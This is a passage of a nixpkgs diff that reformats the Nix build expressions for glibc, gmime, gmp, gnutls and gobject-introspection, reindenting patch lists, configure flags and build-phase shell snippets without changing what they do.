@@ -64,140 +64,137 @@ stdenv.mkDerivation (
 
     enableParallelBuilding = true;
 
-    patches =
-      [
-        /*
-          No tarballs for stable upstream branch, only https://sourceware.org/git/glibc.git and using git would complicate bootstrapping.
-           $ git fetch --all -p && git checkout origin/release/2.40/master && git describe
-           glibc-2.40-66-g7d4b6bcae9
-           $ git show --minimal --reverse glibc-2.40.. ':!ADVISORIES' > 2.40-master.patch
-
-          To compare the archive contents zdiff can be used.
-           $ diff -u 2.40-master.patch ../nixpkgs/pkgs/development/libraries/glibc/2.40-master.patch
-
-          Please note that each commit has changes to the file ADVISORIES excluded since
-          that conflicts with the directory advisories/ making cross-builds from
-          hosts with case-insensitive file-systems impossible.
-        */
-        ./2.40-master.patch
-
-        # Allow NixOS and Nix to handle the locale-archive.
-        ./nix-locale-archive.patch
-
-        # Don't use /etc/ld.so.cache, for non-NixOS systems.
-        ./dont-use-system-ld-so-cache.patch
-
-        # Don't use /etc/ld.so.preload, but /etc/ld-nix.so.preload.
-        ./dont-use-system-ld-so-preload.patch
-
-        /*
-          The command "getconf CS_PATH" returns the default search path
-          "/bin:/usr/bin", which is inappropriate on NixOS machines. This
-          patch extends the search path by "/run/current-system/sw/bin".
-        */
-        ./fix_path_attribute_in_getconf.patch
-
-        ./fix-x64-abi.patch
-
-        # https://github.com/NixOS/nixpkgs/pull/137601
-        ./nix-nss-open-files.patch
-
-        ./0001-Revert-Remove-all-usage-of-BASH-or-BASH-in-installed.patch
-
-        /*
-          Patch derived from archlinux,
-          https://gitlab.archlinux.org/archlinux/packaging/packages/glibc/-/blob/e54d98e2d1aae4930ecad9404ef12234922d9dfd/reenable_DT_HASH.patch
-
-          See also https://github.com/ValveSoftware/Proton/issues/6051
-          & https://github.com/NixOS/nixpkgs/pull/188492#issuecomment-1233802991
-        */
-        ./reenable_DT_HASH.patch
-      ]
+    patches = [
       /*
-        NVCC does not support ARM intrinsics. Since <math.h> is pulled in by almost
-        every HPC piece of software, without this patch CUDA compilation on ARM
-        is effectively broken. See
-        https://forums.developer.nvidia.com/t/nvcc-fails-to-build-with-arm-neon-instructions-cpp-vs-cu/248355/2.
+        No tarballs for stable upstream branch, only https://sourceware.org/git/glibc.git and using git would complicate bootstrapping.
+         $ git fetch --all -p && git checkout origin/release/2.40/master && git describe
+         glibc-2.40-66-g7d4b6bcae9
+         $ git show --minimal --reverse glibc-2.40.. ':!ADVISORIES' > 2.40-master.patch
+
+        To compare the archive contents zdiff can be used.
+         $ diff -u 2.40-master.patch ../nixpkgs/pkgs/development/libraries/glibc/2.40-master.patch
+
+        Please note that each commit has changes to the file ADVISORIES excluded since
+        that conflicts with the directory advisories/ making cross-builds from
+        hosts with case-insensitive file-systems impossible.
       */
-      ++ (
-        let
-          isAarch64 = stdenv.buildPlatform.isAarch64 || stdenv.hostPlatform.isAarch64;
-          isLinux = stdenv.buildPlatform.isLinux || stdenv.hostPlatform.isLinux;
-        in
-        lib.optional (isAarch64 && isLinux) ./0001-aarch64-math-vector.h-add-NVCC-include-guard.patch
-      )
-      ++ lib.optional stdenv.hostPlatform.isMusl ./fix-rpc-types-musl-conflicts.patch
-      ++ lib.optional stdenv.buildPlatform.isDarwin ./darwin-cross-build.patch
-      ++ lib.optional enableCETRuntimeDefault ./2.39-revert-cet-default-disable.patch;
+      ./2.40-master.patch
 
-    postPatch =
-      ''
-        # Needed for glibc to build with the gnumake 3.82
-        # http://comments.gmane.org/gmane.linux.lfs.support/31227
-        sed -i 's/ot \$/ot:\n\ttouch $@\n$/' manual/Makefile
+      # Allow NixOS and Nix to handle the locale-archive.
+      ./nix-locale-archive.patch
 
-        # nscd needs libgcc, and we don't want it dynamically linked
-        # because we don't want it to depend on bootstrap-tools libs.
-        echo "LDFLAGS-nscd += -static-libgcc" >> nscd/Makefile
+      # Don't use /etc/ld.so.cache, for non-NixOS systems.
+      ./dont-use-system-ld-so-cache.patch
 
-        # Ensure that `__nss_files_fopen` can still be wrapped by `libredirect`.
-        sed -i -e '/libc_hidden_def (__nss_files_fopen)/d' nss/nss_files_fopen.c
-        sed -i -e '/libc_hidden_proto (__nss_files_fopen)/d' include/nss_files.h
-      ''
-      # FIXME: find a solution for infinite recursion in cross builds.
-      # For now it's hopefully acceptable that IDN from libc doesn't reliably work.
-      + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+      # Don't use /etc/ld.so.preload, but /etc/ld-nix.so.preload.
+      ./dont-use-system-ld-so-preload.patch
 
-        # Ensure that libidn2 is found.
-        patch -p 1 <<EOF
-        --- a/inet/idna.c
-        +++ b/inet/idna.c
-        @@ -25,1 +25,1 @@
-        -#define LIBIDN2_SONAME "libidn2.so.0"
-        +#define LIBIDN2_SONAME "${lib.getLib libidn2}/lib/libidn2.so.0"
-        EOF
-      '';
+      /*
+        The command "getconf CS_PATH" returns the default search path
+        "/bin:/usr/bin", which is inappropriate on NixOS machines. This
+        patch extends the search path by "/run/current-system/sw/bin".
+      */
+      ./fix_path_attribute_in_getconf.patch
 
-    configureFlags =
-      [
-        "-C"
-        "--enable-add-ons"
-        "--sysconfdir=/etc"
-        "--enable-stack-protector=strong"
-        "--enable-bind-now"
-        (lib.withFeatureAs withLinuxHeaders "headers" "${linuxHeaders}/include")
-        (lib.enableFeature profilingLibraries "profile")
-        "--enable-fortify-source"
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isx86 || stdenv.hostPlatform.isAarch64) [
-        # This feature is currently supported on
-        # i386, x86_64 and x32 with binutils 2.29 or later,
-        # and on aarch64 with binutils 2.30 or later.
-        # https://sourceware.org/glibc/wiki/PortStatus
-        "--enable-static-pie"
-      ]
-      ++ lib.optionals (enableCET != false) [
-        # Enable Intel Control-flow Enforcement Technology (CET) support
-        "--enable-cet${if builtins.isString enableCET then "=${enableCET}" else ""}"
-      ]
-      ++ lib.optionals withLinuxHeaders [
-        "--enable-kernel=3.10.0" # RHEL 7 and derivatives, seems oldest still supported kernel
-      ]
-      ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-        (lib.flip lib.withFeature "fp" (
-          stdenv.hostPlatform.gcc.float or (stdenv.hostPlatform.parsed.abi.float or "hard") == "soft"
-        ))
-        "--with-__thread"
-      ]
-      ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform && stdenv.hostPlatform.isAarch32) [
-        "--host=arm-linux-gnueabi"
-        "--build=arm-linux-gnueabi"
+      ./fix-x64-abi.patch
 
-        # To avoid linking with -lgcc_s (dynamic link)
-        # so the glibc does not depend on its compiler store path
-        "libc_cv_as_needed=no"
-      ]
-      ++ lib.optional withGd "--with-gd";
+      # https://github.com/NixOS/nixpkgs/pull/137601
+      ./nix-nss-open-files.patch
+
+      ./0001-Revert-Remove-all-usage-of-BASH-or-BASH-in-installed.patch
+
+      /*
+        Patch derived from archlinux,
+        https://gitlab.archlinux.org/archlinux/packaging/packages/glibc/-/blob/e54d98e2d1aae4930ecad9404ef12234922d9dfd/reenable_DT_HASH.patch
+
+        See also https://github.com/ValveSoftware/Proton/issues/6051
+        & https://github.com/NixOS/nixpkgs/pull/188492#issuecomment-1233802991
+      */
+      ./reenable_DT_HASH.patch
+    ]
+    /*
+      NVCC does not support ARM intrinsics. Since <math.h> is pulled in by almost
+      every HPC piece of software, without this patch CUDA compilation on ARM
+      is effectively broken. See
+      https://forums.developer.nvidia.com/t/nvcc-fails-to-build-with-arm-neon-instructions-cpp-vs-cu/248355/2.
+    */
+    ++ (
+      let
+        isAarch64 = stdenv.buildPlatform.isAarch64 || stdenv.hostPlatform.isAarch64;
+        isLinux = stdenv.buildPlatform.isLinux || stdenv.hostPlatform.isLinux;
+      in
+      lib.optional (isAarch64 && isLinux) ./0001-aarch64-math-vector.h-add-NVCC-include-guard.patch
+    )
+    ++ lib.optional stdenv.hostPlatform.isMusl ./fix-rpc-types-musl-conflicts.patch
+    ++ lib.optional stdenv.buildPlatform.isDarwin ./darwin-cross-build.patch
+    ++ lib.optional enableCETRuntimeDefault ./2.39-revert-cet-default-disable.patch;
+
+    postPatch = ''
+      # Needed for glibc to build with the gnumake 3.82
+      # http://comments.gmane.org/gmane.linux.lfs.support/31227
+      sed -i 's/ot \$/ot:\n\ttouch $@\n$/' manual/Makefile
+
+      # nscd needs libgcc, and we don't want it dynamically linked
+      # because we don't want it to depend on bootstrap-tools libs.
+      echo "LDFLAGS-nscd += -static-libgcc" >> nscd/Makefile
+
+      # Ensure that `__nss_files_fopen` can still be wrapped by `libredirect`.
+      sed -i -e '/libc_hidden_def (__nss_files_fopen)/d' nss/nss_files_fopen.c
+      sed -i -e '/libc_hidden_proto (__nss_files_fopen)/d' include/nss_files.h
+    ''
+    # FIXME: find a solution for infinite recursion in cross builds.
+    # For now it's hopefully acceptable that IDN from libc doesn't reliably work.
+    + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+
+      # Ensure that libidn2 is found.
+      patch -p 1 <<EOF
+      --- a/inet/idna.c
+      +++ b/inet/idna.c
+      @@ -25,1 +25,1 @@
+      -#define LIBIDN2_SONAME "libidn2.so.0"
+      +#define LIBIDN2_SONAME "${lib.getLib libidn2}/lib/libidn2.so.0"
+      EOF
+    '';
+
+    configureFlags = [
+      "-C"
+      "--enable-add-ons"
+      "--sysconfdir=/etc"
+      "--enable-stack-protector=strong"
+      "--enable-bind-now"
+      (lib.withFeatureAs withLinuxHeaders "headers" "${linuxHeaders}/include")
+      (lib.enableFeature profilingLibraries "profile")
+      "--enable-fortify-source"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isx86 || stdenv.hostPlatform.isAarch64) [
+      # This feature is currently supported on
+      # i386, x86_64 and x32 with binutils 2.29 or later,
+      # and on aarch64 with binutils 2.30 or later.
+      # https://sourceware.org/glibc/wiki/PortStatus
+      "--enable-static-pie"
+    ]
+    ++ lib.optionals (enableCET != false) [
+      # Enable Intel Control-flow Enforcement Technology (CET) support
+      "--enable-cet${if builtins.isString enableCET then "=${enableCET}" else ""}"
+    ]
+    ++ lib.optionals withLinuxHeaders [
+      "--enable-kernel=3.10.0" # RHEL 7 and derivatives, seems oldest still supported kernel
+    ]
+    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+      (lib.flip lib.withFeature "fp" (
+        stdenv.hostPlatform.gcc.float or (stdenv.hostPlatform.parsed.abi.float or "hard") == "soft"
+      ))
+      "--with-__thread"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform && stdenv.hostPlatform.isAarch32) [
+      "--host=arm-linux-gnueabi"
+      "--build=arm-linux-gnueabi"
+
+      # To avoid linking with -lgcc_s (dynamic link)
+      # so the glibc does not depend on its compiler store path
+      "libc_cv_as_needed=no"
+    ]
+    ++ lib.optional withGd "--with-gd";
 
     makeFlags =
       (args.makeFlags or [ ])
@@ -207,11 +204,9 @@ stdenv.mkDerivation (
         "OBJDUMP=${stdenv.cc.bintools.bintools}/bin/objdump"
       ];
 
-    postInstall =
-      (args.postInstall or "")
-      + ''
-        moveToOutput bin/getent $getent
-      '';
+    postInstall = (args.postInstall or "") + ''
+      moveToOutput bin/getent $getent
+    '';
 
     installFlags = [ "sysconfdir=$(out)/etc" ];
 
@@ -233,14 +228,16 @@ stdenv.mkDerivation (
     nativeBuildInputs = [
       bison
       python3Minimal
-    ] ++ extraNativeBuildInputs;
-    buildInputs =
-      [ linuxHeaders ]
-      ++ lib.optionals withGd [
-        gd
-        libpng
-      ]
-      ++ extraBuildInputs;
+    ]
+    ++ extraNativeBuildInputs;
+    buildInputs = [
+      linuxHeaders
+    ]
+    ++ lib.optionals withGd [
+      gd
+      libpng
+    ]
+    ++ extraBuildInputs;
 
     env = {
       linuxHeaders = lib.optionalString withLinuxHeaders linuxHeaders;
@@ -275,51 +272,50 @@ stdenv.mkDerivation (
       };
 
       # Remove absolute paths from `configure' & co.; build out-of-tree.
-      preConfigure =
-        ''
-          export PWD_P=$(type -tP pwd)
-          for i in configure io/ftwtest-sh; do
-              # Can't use substituteInPlace here because replace hasn't been
-              # built yet in the bootstrap.
-              sed -i "$i" -e "s^/bin/pwd^$PWD_P^g"
-          done
+      preConfigure = ''
+        export PWD_P=$(type -tP pwd)
+        for i in configure io/ftwtest-sh; do
+            # Can't use substituteInPlace here because replace hasn't been
+            # built yet in the bootstrap.
+            sed -i "$i" -e "s^/bin/pwd^$PWD_P^g"
+        done
 
-          mkdir ../build
-          cd ../build
+        mkdir ../build
+        cd ../build
 
-          configureScript="`pwd`/../$sourceRoot/configure"
-        ''
-        + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
-          sed -i s/-lgcc_eh//g "../$sourceRoot/Makeconfig"
+        configureScript="`pwd`/../$sourceRoot/configure"
+      ''
+      + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+        sed -i s/-lgcc_eh//g "../$sourceRoot/Makeconfig"
 
-          cat > config.cache << "EOF"
-          libc_cv_forced_unwind=yes
-          libc_cv_c_cleanup=yes
-          libc_cv_gnu89_inline=yes
-          EOF
+        cat > config.cache << "EOF"
+        libc_cv_forced_unwind=yes
+        libc_cv_c_cleanup=yes
+        libc_cv_gnu89_inline=yes
+        EOF
 
-          # ./configure has logic like
-          #
-          #     AR=`$CC -print-prog-name=ar`
-          #
-          # This searches various directories in the gcc and its wrapper. In nixpkgs,
-          # this returns the bare string "ar", which is build ar. This can result as
-          # a build failure with the following message:
-          #
-          #     libc_pic.a: error adding symbols: archive has no index; run ranlib to add one
-          #
-          # (Observed cross compiling from aarch64-linux -> armv7l-linux).
-          #
-          # Nixpkgs passes a correct value for AR and friends, so to use the correct
-          # set of tools, we only need to delete this special handling.
-          sed -i \
-            -e '/^AR=/d' \
-            -e '/^AS=/d' \
-            -e '/^LD=/d' \
-            -e '/^OBJCOPY=/d' \
-            -e '/^OBJDUMP=/d' \
-            $configureScript
-        '';
+        # ./configure has logic like
+        #
+        #     AR=`$CC -print-prog-name=ar`
+        #
+        # This searches various directories in the gcc and its wrapper. In nixpkgs,
+        # this returns the bare string "ar", which is build ar. This can result as
+        # a build failure with the following message:
+        #
+        #     libc_pic.a: error adding symbols: archive has no index; run ranlib to add one
+        #
+        # (Observed cross compiling from aarch64-linux -> armv7l-linux).
+        #
+        # Nixpkgs passes a correct value for AR and friends, so to use the correct
+        # set of tools, we only need to delete this special handling.
+        sed -i \
+          -e '/^AR=/d' \
+          -e '/^AS=/d' \
+          -e '/^LD=/d' \
+          -e '/^OBJCOPY=/d' \
+          -e '/^OBJDUMP=/d' \
+          $configureScript
+      '';
 
       preBuild = lib.optionalString withGd "unset NIX_DONT_SET_RPATH";
 
diff --git a/pkgs/development/libraries/gmime/2.nix b/pkgs/development/libraries/gmime/2.nix
index 313a2a8f1c51..34bd141d06ec 100644
--- a/pkgs/development/libraries/gmime/2.nix
+++ b/pkgs/development/libraries/gmime/2.nix
@@ -33,11 +33,10 @@ stdenv.mkDerivation rec {
     zlib
     libgpg-error
   ];
-  configureFlags =
-    [
-      "--enable-introspection=yes"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "ac_cv_have_iconv_detect_h=yes" ];
+  configureFlags = [
+    "--enable-introspection=yes"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "ac_cv_have_iconv_detect_h=yes" ];
 
   postPatch = ''
     substituteInPlace tests/testsuite.c \
diff --git a/pkgs/development/libraries/gmime/3.nix b/pkgs/development/libraries/gmime/3.nix
index f21dd724c95e..cc3fde7bfb99 100644
--- a/pkgs/development/libraries/gmime/3.nix
+++ b/pkgs/development/libraries/gmime/3.nix
@@ -41,34 +41,31 @@ stdenv.mkDerivation rec {
     vala # for share/vala/Makefile.vapigen
   ];
   propagatedBuildInputs = [ glib ];
-  configureFlags =
-    [
-      "--enable-introspection=yes"
-      "--enable-vala=yes"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "ac_cv_have_iconv_detect_h=yes" ];
+  configureFlags = [
+    "--enable-introspection=yes"
+    "--enable-vala=yes"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "ac_cv_have_iconv_detect_h=yes" ];
 
-  postPatch =
-    ''
-      substituteInPlace tests/testsuite.c \
-        --replace /bin/rm rm
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # This specific test fails on darwin for some unknown reason
-      substituteInPlace tests/test-filters.c \
-        --replace-fail 'test_charset_conversion (datadir, "japanese", "utf-8", "iso-2022-jp");' ""
-    '';
+  postPatch = ''
+    substituteInPlace tests/testsuite.c \
+      --replace /bin/rm rm
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # This specific test fails on darwin for some unknown reason
+    substituteInPlace tests/test-filters.c \
+      --replace-fail 'test_charset_conversion (datadir, "japanese", "utf-8", "iso-2022-jp");' ""
+  '';
 
-  preConfigure =
-    ''
-      PKG_CONFIG_VAPIGEN_VAPIGEN="$(type -p vapigen)"
-      export PKG_CONFIG_VAPIGEN_VAPIGEN
-    ''
-    + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-      cp ${
-        if stdenv.hostPlatform.isMusl then ./musl-iconv-detect.h else ./iconv-detect.h
-      } ./iconv-detect.h
-    '';
+  preConfigure = ''
+    PKG_CONFIG_VAPIGEN_VAPIGEN="$(type -p vapigen)"
+    export PKG_CONFIG_VAPIGEN_VAPIGEN
+  ''
+  + lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+    cp ${
+      if stdenv.hostPlatform.isMusl then ./musl-iconv-detect.h else ./iconv-detect.h
+    } ./iconv-detect.h
+  '';
 
   nativeCheckInputs = [ gnupg ];
 
diff --git a/pkgs/development/libraries/gmp/6.x.nix b/pkgs/development/libraries/gmp/6.x.nix
index 2e3fdc532059..ee787dc45ef0 100644
--- a/pkgs/development/libraries/gmp/6.x.nix
+++ b/pkgs/development/libraries/gmp/6.x.nix
@@ -45,27 +45,26 @@ let
     depsBuildBuild = [ buildPackages.stdenv.cc ];
     nativeBuildInputs = [ m4 ];
 
-    configureFlags =
-      [
-        "--with-pic"
-        (lib.enableFeature cxx "cxx")
-        # Build a "fat binary", with routines for several sub-architectures
-        # (x86), except on Solaris where some tests crash with "Memory fault".
-        # See <https://hydra.nixos.org/build/2760931>, for instance.
-        #
-        # no darwin because gmp uses ASM that clang doesn't like
-        (lib.enableFeature (!stdenv.hostPlatform.isSunOS && stdenv.hostPlatform.isx86) "fat")
-        # The config.guess in GMP tries to runtime-detect various
-        # ARM optimization flags via /proc/cpuinfo (and is also
-        # broken on multicore CPUs). Avoid this impurity.
-        "--build=${stdenv.buildPlatform.config}"
-      ]
-      ++ optional (cxx && stdenv.hostPlatform.isDarwin) "CPPFLAGS=-fexceptions"
-      ++ optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.is64bit) "ABI=64"
-      # to build a .dll on windows, we need --disable-static + --enable-shared
-      # see https://gmplib.org/manual/Notes-for-Particular-Systems.html
-      ++ optional (!withStatic && stdenv.hostPlatform.isWindows) "--disable-static --enable-shared"
-      ++ optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) "--disable-assembly";
+    configureFlags = [
+      "--with-pic"
+      (lib.enableFeature cxx "cxx")
+      # Build a "fat binary", with routines for several sub-architectures
+      # (x86), except on Solaris where some tests crash with "Memory fault".
+      # See <https://hydra.nixos.org/build/2760931>, for instance.
+      #
+      # no darwin because gmp uses ASM that clang doesn't like
+      (lib.enableFeature (!stdenv.hostPlatform.isSunOS && stdenv.hostPlatform.isx86) "fat")
+      # The config.guess in GMP tries to runtime-detect various
+      # ARM optimization flags via /proc/cpuinfo (and is also
+      # broken on multicore CPUs). Avoid this impurity.
+      "--build=${stdenv.buildPlatform.config}"
+    ]
+    ++ optional (cxx && stdenv.hostPlatform.isDarwin) "CPPFLAGS=-fexceptions"
+    ++ optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.is64bit) "ABI=64"
+    # to build a .dll on windows, we need --disable-static + --enable-shared
+    # see https://gmplib.org/manual/Notes-for-Particular-Systems.html
+    ++ optional (!withStatic && stdenv.hostPlatform.isWindows) "--disable-static --enable-shared"
+    ++ optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) "--disable-assembly";
 
     doCheck = true; # not cross;
 
diff --git a/pkgs/development/libraries/gnutls/default.nix b/pkgs/development/libraries/gnutls/default.nix
index dbf8bf7b0333..5c6c2bdb66e5 100644
--- a/pkgs/development/libraries/gnutls/default.nix
+++ b/pkgs/development/libraries/gnutls/default.nix
@@ -66,16 +66,15 @@ stdenv.mkDerivation rec {
     hash = "sha256-aeET2ALRZwxNWsG5kECx8tXHwF2uxQA4E8BJtRhIIO0=";
   };
 
-  outputs =
-    [
-      "bin"
-      "dev"
-      "out"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
-      "man"
-      "devdoc"
-    ];
+  outputs = [
+    "bin"
+    "dev"
+    "out"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
+    "man"
+    "devdoc"
+  ];
 
   # Not normally useful docs.
   outputInfo = "devdoc";
@@ -92,19 +91,18 @@ stdenv.mkDerivation rec {
   #  - psk-file: no idea; it broke between 3.6.3 and 3.6.4
   #  - ktls: requires tls module loaded into kernel
   # Change p11-kit test to use pkg-config to find p11-kit
-  postPatch =
-    ''
-      sed '2iexit 77' -i tests/{pkgconfig,fastopen}.sh
-      sed '/^void doit(void)/,/^{/ s/{/{ exit(77);/' -i tests/{trust-store,psk-file}.c
-      sed 's:/usr/lib64/pkcs11/ /usr/lib/pkcs11/ /usr/lib/x86_64-linux-gnu/pkcs11/:`pkg-config --variable=p11_module_path p11-kit-1`:' -i tests/p11-kit-trust.sh
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      # See https://gitlab.com/gnutls/gnutls/-/issues/945
-      sed '2iecho "certtool tests skipped in musl build"\nexit 0' -i tests/cert-tests/certtool.sh
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      sed '2iexit 77' -i tests/{ktls,ktls_keyupdate}.sh
-    '';
+  postPatch = ''
+    sed '2iexit 77' -i tests/{pkgconfig,fastopen}.sh
+    sed '/^void doit(void)/,/^{/ s/{/{ exit(77);/' -i tests/{trust-store,psk-file}.c
+    sed 's:/usr/lib64/pkcs11/ /usr/lib/pkcs11/ /usr/lib/x86_64-linux-gnu/pkcs11/:`pkg-config --variable=p11_module_path p11-kit-1`:' -i tests/p11-kit-trust.sh
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    # See https://gitlab.com/gnutls/gnutls/-/issues/945
+    sed '2iecho "certtool tests skipped in musl build"\nexit 0' -i tests/cert-tests/certtool.sh
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    sed '2iexit 77' -i tests/{ktls,ktls_keyupdate}.sh
+  '';
 
   preConfigure = "patchShebangs .";
   configureFlags =
@@ -137,35 +135,33 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "trivialautovarinit" ];
 
-  buildInputs =
-    [
-      libtasn1
-      libidn2
-      zlib
-      gmp
-      libunistring
-      unbound
-      gettext
-      libiconv
-    ]
-    ++ lib.optional withP11-kit p11-kit
-    ++ lib.optional (tpmSupport && stdenv.hostPlatform.isLinux) trousers;
+  buildInputs = [
+    libtasn1
+    libidn2
+    zlib
+    gmp
+    libunistring
+    unbound
+    gettext
+    libiconv
+  ]
+  ++ lib.optional withP11-kit p11-kit
+  ++ lib.optional (tpmSupport && stdenv.hostPlatform.isLinux) trousers;
 
-  nativeBuildInputs =
-    [
-      perl
-      pkg-config
-      texinfo
-    ]
-    ++ [
-      autoconf
-      automake
-    ]
-    ++ lib.optionals doCheck [
-      which
-      nettools
-      util-linux
-    ];
+  nativeBuildInputs = [
+    perl
+    pkg-config
+    texinfo
+  ]
+  ++ [
+    autoconf
+    automake
+  ]
+  ++ lib.optionals doCheck [
+    which
+    nettools
+    util-linux
+  ];
 
   propagatedBuildInputs = [ nettle ];
 
diff --git a/pkgs/development/libraries/gobject-introspection/default.nix b/pkgs/development/libraries/gobject-introspection/default.nix
index 379560c263ea..47ebfb1e3e0e 100644
--- a/pkgs/development/libraries/gobject-introspection/default.nix
+++ b/pkgs/development/libraries/gobject-introspection/default.nix
@@ -60,48 +60,46 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-lFtX2n7CYuXCZrieCR0UvoAMxCQnfYKgKHK315SoR3k=";
   };
 
-  patches =
-    [
-      # Make g-ir-scanner put absolute path to GIR files it generates
-      # so that programs can just dlopen them without having to muck
-      # with LD_LIBRARY_PATH environment variable.
-      (replaceVars ./absolute_shlib_path.patch {
-        inherit nixStoreDir;
-      })
+  patches = [
+    # Make g-ir-scanner put absolute path to GIR files it generates
+    # so that programs can just dlopen them without having to muck
+    # with LD_LIBRARY_PATH environment variable.
+    (replaceVars ./absolute_shlib_path.patch {
+      inherit nixStoreDir;
+    })
 
-      # Fix getter heuristics regression
-      # https://gitlab.gnome.org/GNOME/gobject-introspection/-/merge_requests/529
-      ./0001-scanner-Prefer-some-getters-over-others.patch
-    ]
-    ++ lib.optionals x11Support [
-      # Hardcode the cairo shared library path in the Cairo gir shipped with this package.
-      # https://github.com/NixOS/nixpkgs/issues/34080
-      (replaceVars ./absolute_gir_path.patch {
-        cairoLib = "${lib.getLib cairo}/lib";
-        # original source code in patch's context
-        CAIRO_GIR_PACKAGE = null;
-        CAIRO_SHARED_LIBRARY = null;
-      })
-    ];
+    # Fix getter heuristics regression
+    # https://gitlab.gnome.org/GNOME/gobject-introspection/-/merge_requests/529
+    ./0001-scanner-Prefer-some-getters-over-others.patch
+  ]
+  ++ lib.optionals x11Support [
+    # Hardcode the cairo shared library path in the Cairo gir shipped with this package.
+    # https://github.com/NixOS/nixpkgs/issues/34080
+    (replaceVars ./absolute_gir_path.patch {
+      cairoLib = "${lib.getLib cairo}/lib";
+      # original source code in patch's context
+      CAIRO_GIR_PACKAGE = null;
+      CAIRO_SHARED_LIBRARY = null;
+    })
+  ];
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      flex
-      bison
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_45
-      # Build definition checks for the Python modules needed at runtime by importing them.
-      (buildPackages.python3.withPackages pythonModules)
-      finalAttrs.setupHook # move .gir files
-      # can't use canExecute, we need prebuilt when cross
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ gobject-introspection-unwrapped ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    flex
+    bison
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_45
+    # Build definition checks for the Python modules needed at runtime by importing them.
+    (buildPackages.python3.withPackages pythonModules)
+    finalAttrs.setupHook # move .gir files
+    # can't use canExecute, we need prebuilt when cross
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ gobject-introspection-unwrapped ];
 
   buildInputs = [
     (python3.withPackages pythonModules)
@@ -116,30 +114,29 @@ stdenv.mkDerivation (finalAttrs: {
     (if propagateFullGlib then glib else glib')
   ];
 
-  mesonFlags =
-    [
-      "--datadir=${placeholder "dev"}/share"
-      "-Dcairo=disabled"
-      "-Dgtk_doc=${lib.boolToString (stdenv.hostPlatform == stdenv.buildPlatform)}"
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "-Dgi_cross_ldd_wrapper=${
-        replaceVarsWith {
-          name = "g-ir-scanner-lddwrapper";
-          isExecutable = true;
-          src = ./wrappers/g-ir-scanner-lddwrapper.sh;
-          replacements = {
-            inherit (buildPackages) bash;
-            buildlddtree = "${buildPackages.pax-utils}/bin/lddtree";
-          };
-        }
-      }"
-      "-Dgi_cross_binary_wrapper=${stdenv.hostPlatform.emulator buildPackages}"
-      # can't use canExecute, we need prebuilt when cross
-    ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "-Dgi_cross_use_prebuilt_gi=true"
-    ];
+  mesonFlags = [
+    "--datadir=${placeholder "dev"}/share"
+    "-Dcairo=disabled"
+    "-Dgtk_doc=${lib.boolToString (stdenv.hostPlatform == stdenv.buildPlatform)}"
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "-Dgi_cross_ldd_wrapper=${
+      replaceVarsWith {
+        name = "g-ir-scanner-lddwrapper";
+        isExecutable = true;
+        src = ./wrappers/g-ir-scanner-lddwrapper.sh;
+        replacements = {
+          inherit (buildPackages) bash;
+          buildlddtree = "${buildPackages.pax-utils}/bin/lddtree";
+        };
+      }
+    }"
+    "-Dgi_cross_binary_wrapper=${stdenv.hostPlatform.emulator buildPackages}"
+    # can't use canExecute, we need prebuilt when cross
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "-Dgi_cross_use_prebuilt_gi=true"
+  ];
 
   doCheck = !stdenv.hostPlatform.isAarch64;
 
diff --git a/pkgs/development/libraries/gobject-introspection/wrapper.nix b/pkgs/development/libraries/gobject-introspection/wrapper.nix
index a89963ea2f43..3e83fd7eba50 100644
--- a/pkgs/development/libraries/gobject-introspection/wrapper.nix
+++ b/pkgs/development/libraries/gobject-introspection/wrapper.nix
@@ -46,52 +46,51 @@ then
     };
     dontStrip = true;
     depsTargetTargetPropagated = [ overridenTargetUnwrappedGir ];
-    buildCommand =
-      ''
-        eval fixupPhase
-        ${lib.concatMapStrings (output: ''
-          mkdir -p ${"$" + "${output}"}
